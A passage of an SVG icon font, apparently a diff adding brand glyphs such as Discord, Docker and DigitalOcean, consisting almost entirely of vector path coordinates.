-0.0996094 -23.2998 -1.2998c-0.900391 -0.0996094 -1.7002 -0.299805 -2.90039 0c15.7998 14.7998 36 21.7002 53.1006 33.5 +c6 4.5 6.7998 8.2002 3 14.9004zM227.8 241.9c3.2998 -16 12.6006 -25.5 23.7998 -24.3008c-4.59961 11.3008 -12.0996 19.5 -23.7998 24.3008z" /> + <glyph glyph-name="deploydog" unicode="" horiz-adv-x="512" +d="M382.2 312h51.7002v-239.6h-51.7002v20.6992c-19.7998 -24.7998 -52.7998 -24.0996 -73.7998 -14.6992c-26.2002 11.6992 -44.3008 38.0996 -44.3008 71.7998c0 29.7998 14.8008 57.8994 43.3008 70.7998c20.1992 9.09961 52.6992 10.5996 74.7998 -12.9004v103.9z +M317.5 150.2c0 -18.2002 13.5996 -33.5 33.2002 -33.5c19.7998 0 33.2002 16.3994 33.2002 32.8994c0 17.1006 -13.7002 33.2002 -33.2002 33.2002c-19.6006 0 -33.2002 -16.3994 -33.2002 -32.5996zM188.5 312h51.7002v-239.6h-51.7002v20.6992 +c-19.7998 -24.7998 -52.7998 -24.0996 -73.7998 -14.6992c-26.2002 11.6992 -44.2998 38.0996 -44.2998 71.7998c0 29.7998 14.7998 57.8994 43.2998 70.7998c20.2002 9.09961 52.7002 10.5996 74.7998 -12.9004v103.9zM123.8 150.2c0 -18.2002 13.6006 -33.5 33.2002 -33.5 +c19.7998 0 33.2002 16.3994 33.2002 32.8994c0 17.1006 -13.7002 33.2002 -33.2002 33.2002c-19.7002 0 -33.2002 -16.3994 -33.2002 -32.5996zM448 352h-384c-17.5996 0 -32 -14.5 -32 -32v-256c0 -17.5996 14.5 -32 32 -32h384c17.5996 0 32 14.5 32 32v256 +c0 17.5996 -14.5 32 -32 32zM448 384c35.2002 0 64 -28.7998 64 -64v-256c0 -35.2002 -28.7998 -64 -64 -64h-384c-35.2002 0 -64 28.7998 -64 64v256c0 35.2002 28.7998 64 64 64h384z" /> + <glyph glyph-name="deskpro" unicode="" horiz-adv-x="480" +d="M205.9 -64l31.0996 38.4004c12.2998 0.199219 25.5996 1.39941 36.5 6.59961c38.9004 18.5996 38.4004 61.9004 38.2998 63.7998c-0.0996094 5 -0.799805 4.40039 -28.8994 37.4004h79.0996c-0.200195 -50.1006 -7.2998 -68.5 -10.2002 -75.7002 +c-9.39941 -23.7002 -43.8994 -62.7998 -95.2002 -69.4004c-8.69922 -1.09961 -32.7998 -1.19922 -50.6992 -1.09961zM406.3 103.7l-119.2 -0.100586l17.4004 31.3008l175.5 -0.300781c-15.2002 -17.2998 -35.0996 -30.8994 -73.7002 -30.8994zM362.7 327.6v-168.3h-73.5 +l-32.7002 -55.5h-6.5c-52.2998 0 -58.0996 56.5 -58.2998 58.9004c-1.2002 13.2002 -21.2998 11.5996 -20.1006 -1.7998c1.40039 -15.8008 8.80078 -40 26.4004 -57.1006h-91c-25.5 0 -110.8 26.7998 -107 114v213.3c0 16 9.7002 16.6006 15 16.8008h82 +c0.200195 0 0.299805 -0.100586 0.5 -0.100586c4.2998 0.400391 50.0996 2.10059 50.0996 -43.7002c0 -13.2998 20.2002 -13.3994 20.2002 0c0 18.2002 -5.5 32.8008 -15.7998 43.7002h84.2002c108.7 0.400391 126.5 -79.3994 126.5 -120.2zM230.2 271.6l64 -29.2998 +c13.2998 45.5 -42.2002 71.7002 -64 29.2998z" /> + <glyph glyph-name="digital-ocean" unicode="" horiz-adv-x="512" +d="M87 -33.7998v73.5996h73.7002v-73.5996h-73.7002zM25.4004 101.4h61.5996v-61.6006h-61.5996v61.6006zM491.6 271.1c53.2002 -170.3 -73 -327.1 -235.6 -327.1v95.7998h0.299805v0.299805c101.7 0.200195 180.5 101 141.4 208 +c-14.2998 39.6006 -46.1006 71.4004 -85.7998 85.7002c-107.101 38.7998 -208.101 -39.8994 -208.101 -141.7h-95.7998c0 162.2 156.9 288.7 327 235.601c74.2002 -23.2998 133.6 -82.4004 156.6 -156.601zM256.3 40.0996h-0.299805v-0.299805h-95.2998v95.6006h95.5996 +v-95.3008z" /> + <glyph glyph-name="discord" unicode="" horiz-adv-x="640" +d="M524.531 378.164c66.4014 -97.6289 99.1973 -207.758 86.9336 -334.541c-0.0498047 -0.554688 -0.338867 -1.04102 -0.764648 -1.35156c-43.8203 -32.4541 -93.7129 -57.8623 -147.062 -74.1865c-0.171875 -0.0527344 -0.354492 -0.0830078 -0.543945 -0.0830078 +c-0.625977 0 -1.18066 0.308594 -1.51855 0.783203c-11.1562 15.4766 -21.1797 31.7598 -30.0146 48.8145c-0.131836 0.256836 -0.208984 0.549805 -0.208984 0.858398c0 0.799805 0.50293 1.48438 1.20898 1.75293c15.916 5.9834 31.3828 13.3604 45.8906 21.8301 +c0.550781 0.329102 0.918945 0.928711 0.918945 1.61621c0 0.617188 -0.297852 1.16602 -0.756836 1.50977c-3.10547 2.30859 -6.18848 4.73438 -9.13184 7.16016c-0.3125 0.254883 -0.713867 0.407227 -1.14844 0.407227 +c-0.277344 0 -0.541016 -0.0625 -0.776367 -0.174805c-95.0898 -43.917 -199.271 -43.917 -295.5 0c-0.226562 0.101562 -0.480469 0.15918 -0.744141 0.15918c-0.438477 0 -0.84082 -0.15625 -1.15527 -0.415039c-2.94336 -2.42578 -6.02734 -4.82812 -9.10938 -7.13672 +c-0.453125 -0.344727 -0.74707 -0.886719 -0.74707 -1.5c0 -0.692383 0.375 -1.29883 0.932617 -1.62598c14.5459 -8.40234 30 -15.7812 45.8672 -21.8525c0.712891 -0.261719 1.21973 -0.946289 1.21973 -1.74902c0 -0.301758 -0.0722656 -0.586914 -0.200195 -0.839844 +c-8.69238 -17.1572 -18.7334 -33.4609 -30.0371 -48.8418c-0.34668 -0.459961 -0.896484 -0.755859 -1.5166 -0.755859c-0.19043 0 -0.373047 0.0283203 -0.546875 0.0800781c-53.25 16.3789 -103.055 41.7812 -146.824 74.1895 +c-0.419922 0.327148 -0.706055 0.817383 -0.765625 1.375c-10.2441 109.663 10.6387 220.702 86.8672 334.54c0.185547 0.300781 0.459961 0.537109 0.788086 0.676758c37.3066 17.1338 78.0146 29.9219 119.688 37.1064 +c0.0957031 0.015625 0.191406 0.0253906 0.292969 0.0253906c0.694336 0 1.30176 -0.375977 1.63086 -0.935547c5.56348 -9.8418 10.6553 -20.126 15.1348 -30.5996c22.0664 3.34961 43.7744 5.08691 66.7705 5.08691c22.9951 0 45.5889 -1.7373 67.6553 -5.08691 +c4.44727 10.4414 9.46191 20.7285 14.9004 30.5996c0.308594 0.5625 0.90332 0.941406 1.58887 0.941406c0.114258 0 0.225586 -0.0107422 0.333984 -0.03125c41.666 -7.19922 82.373 -19.9863 119.686 -37.1055c0.331055 -0.135742 0.601562 -0.384766 0.764648 -0.700195z +M222.491 110.42c29.4326 0 52.8428 26.5869 52.8428 59.2412c0.462891 32.4189 -23.1777 59.2393 -52.8428 59.2393c-29.4355 0 -52.8438 -26.5898 -52.8438 -59.2412c0 -32.6523 23.8711 -59.2393 52.8438 -59.2393zM417.871 110.42 +c29.667 0 52.8438 26.5869 52.8438 59.2412c0.462891 32.4189 -23.1768 59.2393 -52.8438 59.2393c-29.4346 0 -52.8428 -26.5898 -52.8428 -59.2412c0 -32.6523 23.8721 -59.2393 52.8428 -59.2393z" /> + <glyph glyph-name="discourse" unicode="" +d="M225.9 416c122.699 0 222.1 -102.3 222.1 -223.9c0 -121.6 -99.4004 -223.899 -222.1 -223.899l-225.801 -0.200195s-0.0996094 224 -0.0996094 227.9c0 121.6 103.3 220.1 225.9 220.1zM224 64c70.7002 0 128 57.2998 128 128s-57.2998 128 -128 128 +s-128 -57.2998 -128 -128c0 -22.0996 5.59961 -42.9004 15.4004 -61l-22.9004 -75l81.0996 20.0996c16.5 -7.7998 35 -12.0996 54.4004 -12.0996z" /> + <glyph glyph-name="dochub" unicode="" horiz-adv-x="416" +d="M397.9 288h-141.9v140.4zM304 256h96v-126.1c0 -129.301 -70.2998 -193.9 -210.8 -193.9h-189.2v512h189.2c12.2002 0 23.7002 -1.09961 34.5996 -3.2998v-84c-10 1.7002 -21.0996 2.5 -33.0996 2.5h-94.7002v-337.3h94.7002c76.7998 0 113.3 33.2998 113.3 100.1v130z +" /> + <glyph glyph-name="docker" unicode="" horiz-adv-x="640" +d="M349.9 211.7h-66.1006v59.3994h66.1006v-59.3994zM349.9 416v-60.7002h-66.1006v60.7002h66.1006zM428.1 271.2v-59.4004h-66.0996v59.4004h66.0996zM271.8 343.3v-60.0996h-66.0996v60.0996h66.0996zM349.9 343.3v-60.0996h-66.1006v60.0996h66.1006zM626.7 243.3 +l13.2998 -8.89941c-1.90039 -3.90039 -7 -14.6006 -8.5 -17.1006c-23.7002 -45.2998 -69.9004 -45.5996 -91.2998 -45.2002c-54.5 -131.699 -171 -204.199 -328.4 -204.199c-72.7002 0 -128.3 22.2998 -165.399 66.1992c-38.2002 45.3008 -52.7002 111.301 -44 162.101 +h434.699c22.6006 -0.400391 39.7002 6 48.4004 10.7002c-19.7002 30.1992 -14.7002 76 3.7002 103.8l9.2998 14l14 -9.2998c24.4004 -18.8008 37.7998 -39.7002 41.0996 -63.7002c25.5 4.7998 58.7002 1.2998 73.1006 -8.40039zM115.6 271.2h0.100586v-59.4004h-66.1006 +v59.4004h66zM193.7 271.2v-59.4004h-66.1006v59.4004h66.1006zM271.8 271.2v-59.4004h-66.0996v59.4004h66.0996zM193.7 343.3v-60.0996h-66.1006v60.0996h66.1006z" /> + <glyph glyph-name="draft2digital" unicode="" horiz-adv-x="480" +d="M480 49.9004l-144 -81.9004v64.2002l-336 -0.100586c18.2998 19.1006 84.5 87.8008 161.1 174.801c32.6006 37.1992 78 83.2998 69.7002 127.6c-5.2998 28.2998 -42.2002 50.7998 -83.2998 33.5c-8.59961 -3.59961 -24.5 -17.4004 -26.2998 -24.7002 +c28.2998 -4.7002 48 -29.7002 48 -56.7998c0 -31.7002 -25.6006 -57.4004 -57.2998 -57.4004c-37.3008 0 -62.2002 34.1006 -56.7002 67.1006c1.2002 7.89941 5.09961 26.7998 18.2002 47.7002c14.8994 23.8994 45.1992 54.8994 104.3 67.2998 +c103.8 21.7002 161.6 -36.6006 166 -41.2002c28.8994 -29.9004 48 -90.7002 12.7998 -153.3c-30 -53.4004 -81 -114.3 -111.8 -149.3h91.2998v64.6992zM369.9 77v-54.4004l47.0996 27.2002zM134.2 286.6c0 12.3008 -10 22.4004 -22.4004 22.4004 +c-12.3994 0 -22.3994 -10 -22.3994 -22.4004c0 -12.3994 10 -22.3994 22.3994 -22.3994c12.4004 0 22.4004 10 22.4004 22.3994zM82.5 67.5h114.4c17.5996 19.2002 91.5 100.8 128.5 166.7c36.5996 65.0996 -5.80078 113.3 -5.80078 113.3 +c-14.1992 14.9004 -36.8994 36.2002 -82.1992 38.2998c6.7998 -5.5 16.8994 -16.8994 24.2998 -35.7002c11.8994 -30.2998 6.7002 -69.5996 -28.4004 -112.699c-53.0996 -65.2002 -125.2 -142.5 -150.8 -169.9z" /> + <glyph glyph-name="dribbble-square" unicode="" +d="M90.2002 219.8c8.89941 42.4004 37.3994 77.7002 75.7002 95.7002c3.59961 -4.90039 28 -38.7998 50.6992 -79c-64 -17 -120.3 -16.7998 -126.399 -16.7002zM314.6 294c-2.5 -3.5 -23 -31.0996 -71.5996 -49.4004c-22.4004 41.1006 -47.2002 74.9004 -51 80 +c43.2998 10.5 89 -0.799805 122.6 -30.5996zM140.1 84c14.3008 29.2002 53 66.7998 108.101 85.5996c19.2002 -49.7998 27.2002 -91.5996 29.2002 -103.6c-44 -18.7002 -96.8008 -13.5996 -137.301 18zM238.9 192.2c-49.4004 -13.9004 -94.3008 -53.9004 -116.5 -91.7998 +c-21.8008 24.2998 -35.1006 56.2998 -35.1006 91.3994c0 1.40039 0.100586 2.7998 0.100586 4.2002c6 -0.200195 72.1992 -1 140.399 19.4004c3.90039 -7.7002 7.7002 -15.4004 11.1006 -23.2002zM273.8 175.9c42.7998 6.89941 80.5 -4.30078 85.1006 -5.80078 +c-6.10059 -38 -27.9004 -70.8994 -58.6006 -91.5996c-1.39941 8.2998 -8.59961 48.2998 -26.5 97.4004zM253.5 224.3c50.5 20.7002 73.4004 50 76.2998 53.9004c19.1006 -23.2002 30.6006 -52.7998 30.9004 -85.1006c-4.5 1 -49.7002 10.1006 -95.2002 4.40039 +c-3.7002 9 -7.2002 17 -12 26.7998zM448 368v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352c26.5 0 48 -21.5 48 -48zM384 192c0 88.2002 -71.7998 160 -160 160s-160 -71.7998 -160 -160s71.7998 -160 160 -160 +s160 71.7998 160 160z" /> + <glyph glyph-name="dyalog" unicode="" horiz-adv-x="416" +d="M0 416h171.2c74.5 0 137.7 -24 182.5 -69.5996c40.2002 -40.9004 62.2998 -95.6006 62.2998 -154.301c0 -111.399 -84.0996 -224.1 -244.8 -224.1h-171.2v64h171.2c122.2 0 180.8 84 180.8 160.1c0 79.7002 -67.4004 159.9 -180.8 159.9h-107.2v-55.2002h-64v119.2z" /> + <glyph glyph-name="earlybirds" unicode="" horiz-adv-x="480" +d="M313.2 400.5c1.2002 13 21.2998 14 36.5996 8.7002c0.900391 -0.299805 26.2002 -9.7002 19 -15.2002c-27.8994 7.40039 -56.3994 -18.2002 -55.5996 6.5zM112.2 393.6c-7.7998 6.2002 19.8994 16.4004 20.8994 16.7002c16.8008 5.7002 38.9004 4.60059 40.2002 -9.59961 +c0.900391 -27.1006 -30.3994 1 -61.0996 -7.10059zM319.4 288c8.7998 0 16 -7.2002 16 -16s-7.2002 -16 -16 -16c-8.80078 0 -16 7.2002 -16 16s7.19922 16 16 16zM159.7 288c8.7998 0 16 -7.2002 16 -16s-7.2002 -16 -16 -16s-16 7.2002 -16 16s7.2002 16 16 16z +M478.2 124.8c-9.90039 -24 -40.7002 -11 -63.9004 1.2002c-13.5 -69.0996 -58.0996 -111.4 -126.3 -124.2c0.299805 -0.899414 -2 0.100586 24 -1c33.5996 -1.39941 63.7998 3.10059 97.4004 8c-19.8008 13.7998 -11.4004 37.1006 -9.80078 38.1006 +c1.40039 0.899414 14.7002 -1.7002 21.6006 -11.5c8.59961 12.5 28.3994 14.7998 30.2002 13.5996c1.59961 -1.09961 6.59961 -20.9004 -6.90039 -34.5996c4.7002 0.899414 8.2002 1.59961 9.7998 2.09961c2.60059 0.799805 17.7002 -11.2998 3.10059 -13.2998 +c-14.3008 -2.2998 -22.6006 -5.10059 -47.1006 -10.7998c-45.8994 -10.7002 -85.8994 -11.8008 -117.7 -12.8008l1 -11.5996c3.80078 -18.0996 -23.3994 -24.2998 -27.5996 -6.2002c0.799805 -17.8994 -27.0996 -21.7998 -28.4004 1l-0.5 -5.2998 +c-0.699219 -18.4004 -28.3994 -17.9004 -28.2998 0.599609c-7.5 -13.5 -28.0996 -6.7998 -26.3994 8.5l1.19922 12.4004c-36.6992 -0.900391 -59.6992 -3.09961 -61.7998 -3.09961c-20.8994 0 -20.8994 31.5996 0 31.5996c2.40039 0 27.7002 -1.2998 63.2002 -2.7998 +c-61.0996 15.5 -103.7 55 -114.9 118.2c-25 -12.8008 -57.5 -26.8008 -68.1992 -0.800781c-10.5 25.4004 21.5 42.6006 66.7998 73.4004c0.700195 6.59961 1.59961 13.2998 2.7002 19.7998c-14.4004 19.6006 -11.6006 36.2998 -16.1006 60.4004 +c-16.7998 -2.40039 -23.2002 9.09961 -23.5996 23.0996c0.299805 7.2998 2.09961 14.9004 2.39941 15.4004c1.10059 1.7998 10.1006 2 12.7002 2.59961c6 31.7002 50.6006 33.2002 90.9004 34.5c19.7002 21.7998 45.2002 41.5 80.8994 48.2998 +c-15.2998 19.4004 -3.39941 39.9004 -2.39941 40.4004c1.7002 0.799805 21.2002 -4.2998 26.2998 -23.2002c5.2002 8.7998 18.2998 11.4004 19.5996 10.7002c1.10059 -0.599609 6.40039 -15 -4.89941 -25.9004c40.2998 -3.5 72.2002 -24.6992 96 -50.6992 +c36.0996 -1.5 71.7998 -5.90039 77.0996 -34c2.7002 -0.600586 11.6006 -0.800781 12.7002 -2.60059c0.299805 -0.5 2.09961 -8.09961 2.40039 -15.3994c-0.5 -13.9004 -6.80078 -25.4004 -23.6006 -23.1006c-3.2002 -17.2998 -2.7002 -32.8994 -8.7002 -47.7002 +c2.40039 -11.6992 4 -23.7998 4.80078 -36.3994c37 -25.4004 70.2998 -42.5 60.2998 -66.9004zM207.4 288.1c0.899414 44 -37.9004 42.2002 -78.6006 40.3008c-21.7002 -1 -38.8994 -1.90039 -45.5 -13.9004c-11.3994 -20.9004 5.90039 -92.9004 23.2002 -101.2 +c9.7998 -4.7002 73.4004 -7.89941 86.2998 7.10059c8.2002 9.39941 15 49.3994 14.6006 67.6992zM259.4 229.8c-4.30078 12.4004 -6 30.1006 -15.3008 32.7002c-2 0.5 -9 0.5 -11 0c-10 -2.7998 -10.7998 -22.0996 -17 -37.2002c15.4004 0 19.3008 -9.7002 23.7002 -9.7002 +c4.2998 0 6.2998 11.3008 19.6006 14.2002zM395.1 314.5c-6.59961 12.0996 -24.7998 12.9004 -46.5 13.9004c-40.1992 1.89941 -78.1992 3.7998 -77.2998 -40.3008c-0.5 -18.2998 5 -58.2998 13.2002 -67.7998c13 -14.8994 76.5996 -11.7998 86.2998 -7.09961 +c15.7998 7.59961 36.5 78.8994 24.2998 101.3z" /> + <glyph glyph-name="erlang" unicode="" horiz-adv-x="640" +d="M87.2002 394.5c-41.5 -50.2002 -65.6006 -116.2 -65.5 -192.9c-0.100586 -86.7998 29 -159.5 78.7002 -212.1h-100.4v405h87.2002zM325.4 384.8c46.1992 -0.0996094 79.5996 -33.5 80.6992 -83.2002h-169.899c4.09961 49.7002 43.2998 83.1006 89.2002 83.2002z +M556.1 394.4h0.300781l-0.100586 0.0996094zM556.4 394.4h83.5996v-405h-80.7998c21.3994 23 40.5 49.8994 57.8994 80.7998l-96.3994 48.2002c-33.9004 -55.1006 -83.4004 -105.801 -151.9 -106.101c-99.7002 0.400391 -138.8 85.6006 -138.6 195.3h372.399 +c0.5 12.4004 0.5 18.1006 0 24.1006c2.5 65.2002 -14.7998 120 -46.1992 162.7z" /> + <glyph glyph-name="facebook-f" unicode="" horiz-adv-x="320" +d="M279.14 160h-74.6895v-224h-100.17v224h-81.3906v92.6602h81.3906v70.6201c0 80.3398 47.8594 124.72 121.08 124.72c35.0693 0 71.75 -6.25977 71.75 -6.25977v-78.8906h-40.4199c-39.8203 0 -52.2402 -24.71 -52.2402 -50.0596v-60.1299h88.9102z" /> + <glyph glyph-name="facebook-messenger" unicode="" horiz-adv-x="512" +d="M256.55 440c140.04 0 247.45 -102.34 247.45 -240.57c0 -175.13 -166.15 -273.229 -319.44 -231.04c-8.96973 2.44043 -9.64941 0.600586 -62.5596 -22.6992c-2.4375 -1.06445 -5.14355 -1.6543 -7.97168 -1.6543c-10.7617 0 -19.541 8.55176 -19.9082 19.2236 +c-1.41992 46.3701 0.299805 50.7207 -8.0498 58.2305c-48.3604 43.1602 -78.0703 105.64 -78.0703 177.939c0 138.23 108.52 240.57 248.55 240.57zM405.79 254.87c7.0498 11.0801 -6.65039 23.5996 -17.0898 15.6201l-78.4102 -59.3799 +c-2.50586 -1.87988 -5.64258 -2.99316 -9.0127 -2.99316s-6.48145 1.11328 -8.9873 2.99316l-58.0596 43.46c-6.23047 4.65234 -13.9668 7.46582 -22.333 7.46582c-13.2803 0 -24.9512 -6.94434 -31.5771 -17.3965l-73 -115.569 +c-7.05078 -11.0703 6.64941 -23.6006 17.1094 -15.6699l78.3701 59.4395c2.50586 1.87891 5.64258 2.99316 9.0127 2.99316s6.48242 -1.11426 8.9873 -2.99316l58.0801 -43.4697c6.23047 -4.65039 13.9658 -7.46191 22.3301 -7.46191 +c13.2803 0 24.9512 6.94141 31.5801 17.3916z" /> + <glyph glyph-name="firstdraft" unicode="" horiz-adv-x="384" +d="M384 256h-64v-128h-128v-128h-192v25.5996h166.4v128h128v128h89.5996v-25.5996zM358.4 217.6h25.5996v-153.6h-128v-128h-192v25.5996h166.4v128h128v128zM384 25.5996v-25.5996h-64v-64h-25.5996v89.5996h89.5996zM0 448h384v-128h-128v-128h-128v-128h-128v384z" /> + <glyph glyph-name="fonticons-fi" unicode="" horiz-adv-x="384" +d="M114.4 224h92.3994l-15.2002 -51.2002h-76.3994v-157.8c0 -8 -2.7998 -9.2002 4.39941 -10l59.6006 -5.59961v-34.4004h-179.2v35.2002l29.2002 2.7998c7.2002 0.799805 9.2002 3.2002 9.2002 10.7998v155.8c0 3.2002 -4 3.2002 -8 3.2002h-30.4004v51.2002h38.4004 +v28.7998c0 68 36.3994 96 106 96c46.7998 0 88.7998 -11.2002 88.7998 -72.3994l-69.6006 -8.40039c0.400391 25.5996 -6 31.5996 -22.3994 31.5996c-25.2002 0 -26 -13.5996 -26 -37.5996v-32c0 -3.2002 -4.7998 -6 -0.799805 -6zM384 -35h-140.8v34.4004l28 3.59961 +c7.2002 0.799805 10.3994 2.40039 10.3994 10v148c0 5.59961 -4 9.2002 -9.19922 10.7998l-33.2002 8.7998l9.2002 40.4004h110v-208c0 -8 -3.60059 -8.7998 4 -10l21.5996 -3.59961v-34.4004zM354 312.2l12.4004 -45.6006l-10 -10l-42.8008 22.8008l-42.7998 -22.8008 +l-10 10l12.4004 45.6006l-30 36.3994l4.7998 10h38l21.2002 38.4004h12.7998l21.2002 -38.4004h38l4.7998 -13.1992z" /> + <glyph glyph-name="fort-awesome-alt" unicode="" horiz-adv-x="512" +d="M208 210.6c2.09961 0 3.7002 -1.59961 3.7002 -3.69922v-51.7002c0 -2.10059 -1.60059 -3.7002 -3.7002 -3.7002h-22.2002c-2.09961 0 -3.7002 1.59961 -3.7002 3.7002v51.7002c0 2.09961 1.60059 3.69922 3.7002 3.69922h22.2002zM326.2 210.6 +c2 0 3.59961 -1.59961 3.7002 -3.69922v-51.7002c0 -2.10059 -1.60059 -3.7002 -3.7002 -3.7002h-22.2002c-2.09961 0 -3.7002 1.59961 -3.7002 3.7002v51.7002c0 2.09961 1.60059 3.69922 3.7002 3.69922h22.2002zM458.2 335.7 +c28.8994 -40.7002 45.7998 -90.2002 45.7998 -143.7c0 -2 0 -4 -0.0996094 -6c0 -0.700195 0 -1.2998 -0.100586 -2c0 -1.2998 -0.0996094 -2.7002 -0.200195 -4c0 -0.799805 -0.0996094 -1.5 -0.0996094 -2.2998 +c-0.0996094 -1.2002 -0.0996094 -2.40039 -0.200195 -0.700195c-0.0996094 -0.799805 -0.0996094 -1.59961 -0.200195 -2.40039c-0.0996094 -1.19922 -0.199219 -2.39941 -0.299805 -3.5c-0.0996094 -0.799805 -0.200195 -1.59961 -0.200195 -2.39941 +c-0.0996094 -1.2002 -0.299805 -2.40039 -0.399414 -3.60059c-0.100586 -0.799805 -0.200195 -1.5 -0.299805 -2.2998c-0.200195 -1.2998 -0.400391 -2.59961 -0.5 -3.89941c-0.100586 -0.600586 -0.200195 -1.30078 -0.300781 -1.90039l-0.899414 -5.7002 +c-0.100586 -0.599609 -0.200195 -1.09961 -0.299805 -1.7002c-0.200195 -1.2998 -0.5 -2.69922 -0.800781 -4c-0.199219 -0.799805 -0.299805 -1.59961 -0.5 -2.39941c-0.199219 -1.10059 -0.5 -2.2002 -0.699219 -3.2002 +c-0.200195 -0.900391 -0.400391 -1.7002 -0.600586 -2.59961c-0.200195 -1 -0.5 -2 -0.700195 -3c-0.199219 -0.900391 -0.5 -1.80078 -0.699219 -2.7002c-0.300781 -1 -0.5 -1.90039 -0.800781 -2.90039c-0.199219 -0.899414 -0.5 -1.7998 -0.799805 -2.7002 +c-0.299805 -0.899414 -0.599609 -1.89941 -0.799805 -2.7998c-0.299805 -0.899414 -0.5 -1.7998 -0.799805 -2.7002c-0.299805 -0.899414 -0.600586 -1.7998 -0.900391 -2.7998c-0.5 -1.59961 -1.09961 -3.2998 -1.7002 -4.89941 +c-0.299805 -0.900391 -0.599609 -1.80078 -1 -2.80078c-0.399414 -1 -0.699219 -2 -1.09961 -3c-0.299805 -0.799805 -0.599609 -1.5 -0.900391 -2.2998l-1.19922 -3c-0.300781 -0.700195 -0.600586 -1.5 -0.900391 -2.2002c-0.400391 -1 -0.799805 -2 -1.2998 -3 +l-0.900391 -2.09961c-0.399414 -1 -0.899414 -2 -1.39941 -3c-0.300781 -0.700195 -0.600586 -1.2998 -0.900391 -2c-0.5 -1 -1 -2.09961 -1.5 -3.09961c-0.299805 -0.600586 -0.599609 -1.10059 -0.799805 -1.7002c-0.600586 -1.10059 -1.10059 -2.2002 -1.7002 -3.2998 +c-0.0996094 -0.200195 -0.200195 -0.300781 -0.299805 -0.5c-2.2002 -4.10059 -4.40039 -8.2002 -6.7998 -12.2002c-0.200195 -0.400391 -0.5 -0.799805 -0.700195 -1.2002c-0.700195 -1.09961 -1.2998 -2.2002 -2 -3.2998 +c-0.299805 -0.5 -0.600586 -0.900391 -0.900391 -1.40039c-0.700195 -1.09961 -1.39941 -2.09961 -2 -3.2002c-0.299805 -0.5 -0.599609 -0.899414 -0.899414 -1.39941c-0.700195 -1.10059 -1.40039 -2.10059 -2.10059 -3.2002 +c-0.299805 -0.400391 -0.599609 -0.799805 -0.799805 -1.2002c-0.799805 -1.09961 -1.5 -2.2002 -2.2998 -3.2998c-0.200195 -0.200195 -0.299805 -0.5 -0.5 -0.700195c-37.6006 -54.7002 -94.5 -91.3994 -160.101 -102.399 +c-0.899414 -0.100586 -1.69922 -0.300781 -2.59961 -0.400391c-1 -0.200195 -2.09961 -0.299805 -3.09961 -0.5c-0.900391 -0.0996094 -1.80078 -0.299805 -2.80078 -0.400391c-1 -0.0996094 -2 -0.299805 -3 -0.399414c-1 -0.100586 -2 -0.200195 -2.89941 -0.299805 +c-1 -0.100586 -1.90039 -0.200195 -2.90039 -0.300781c-1 -0.0996094 -2.09961 -0.199219 -3.09961 -0.299805c-0.900391 -0.0996094 -1.7998 -0.200195 -2.7002 -0.200195c-1.09961 -0.0996094 -2.2998 -0.0996094 -3.40039 -0.199219 +c-0.799805 0 -1.69922 -0.100586 -2.5 -0.100586c-1.2998 -0.0996094 -2.59961 -0.0996094 -3.89941 -0.0996094c-0.700195 0 -1.40039 -0.100586 -2.10059 -0.100586c-2 0 -4 -0.0996094 -6 -0.0996094s-4 0 -6 0.0996094c-0.699219 0 -1.39941 0 -2.09961 0.100586 +c-1.2998 0 -2.59961 0.0996094 -3.90039 0.0996094c-0.799805 0 -1.69922 0.100586 -2.5 0.100586c-1.09961 0.0996094 -2.2998 0.0996094 -3.39941 0.199219c-0.900391 0.100586 -1.7998 0.100586 -2.7002 0.200195c-1 0.100586 -2.09961 0.200195 -3.09961 0.299805 +c-1 0.100586 -1.90039 0.200195 -2.90039 0.300781c-1 0.0996094 -2 0.199219 -2.90039 0.299805c-1 0.0996094 -2 0.200195 -3 0.399414c-0.899414 0.100586 -1.7998 0.300781 -2.7998 0.400391s-2.09961 0.299805 -3.09961 0.5 +c-0.900391 0.0996094 -1.7002 0.299805 -2.60059 0.400391c-65.5996 10.8994 -122.5 47.6992 -160 99.3994c-0.199219 0.200195 -0.299805 0.5 -0.5 0.700195c-0.799805 1.09961 -1.59961 2.2002 -2.2998 3.2998c-0.299805 0.400391 -0.599609 0.799805 -0.799805 1.2002 +c-0.700195 1.09961 -1.40039 2.09961 -2.09961 3.2002c-0.300781 0.5 -0.600586 0.899414 -0.900391 1.39941c-0.700195 1.10059 -1.40039 2.10059 -2 3.2002c-0.299805 0.5 -0.599609 0.900391 -0.900391 1.40039c-0.699219 1.09961 -1.2998 2.2002 -2 3.2998 +c-0.199219 0.400391 -0.5 0.799805 -0.699219 1.2002c-2.40039 4 -4.60059 8.09961 -6.80078 12.2002c-0.0996094 0.199219 -0.199219 0.299805 -0.299805 0.5c-0.599609 1.09961 -1.09961 2.19922 -1.7002 3.2998c-0.299805 0.599609 -0.599609 1.09961 -0.799805 1.7002 +c-0.5 1 -1 2.09961 -1.5 3.09961c-0.299805 0.700195 -0.599609 1.2998 -0.899414 2c-0.5 1 -0.900391 2 -1.40039 3l-0.900391 2.09961c-0.399414 1 -0.899414 2 -1.2998 3c-0.299805 0.700195 -0.599609 1.5 -0.899414 2.2002l-1.2002 3 +c-0.299805 0.799805 -0.600586 1.5 -0.900391 2.2998c-0.399414 1 -0.799805 2 -1.09961 3c-0.299805 0.900391 -0.600586 1.80078 -1 2.80078c-0.600586 1.59961 -1.10059 3.2998 -1.7002 4.89941c-0.299805 0.900391 -0.599609 1.7998 -0.900391 2.7998 +c-0.299805 0.900391 -0.5 1.80078 -0.799805 2.7002c-0.299805 0.900391 -0.599609 1.90039 -0.799805 2.7998c-0.299805 0.900391 -0.5 1.80078 -0.799805 2.7002c-0.299805 1 -0.5 1.90039 -0.799805 2.90039c-0.200195 0.899414 -0.5 1.7998 -0.700195 2.7002 +c-0.299805 1 -0.5 2 -0.700195 3c-0.200195 0.899414 -0.400391 1.69922 -0.599609 2.59961c-0.200195 1.09961 -0.5 2.2002 -0.700195 3.2002c-0.200195 0.799805 -0.299805 1.59961 -0.5 2.39941c-0.299805 1.30078 -0.5 2.7002 -0.799805 4 +c-0.100586 0.600586 -0.200195 1.10059 -0.300781 1.7002l-0.899414 5.7002c-0.100586 0.599609 -0.200195 1.2998 -0.299805 1.90039c-0.200195 1.2998 -0.400391 2.59961 -0.5 3.89941c-0.100586 0.799805 -0.200195 1.5 -0.300781 2.2998 +c-0.0996094 1.2002 -0.299805 2.40039 -0.399414 3.60059c-0.100586 0.799805 -0.200195 1.59961 -0.200195 2.39941c-0.0996094 1.2002 -0.200195 2.40039 -0.299805 3.5c-0.100586 0.800781 -0.100586 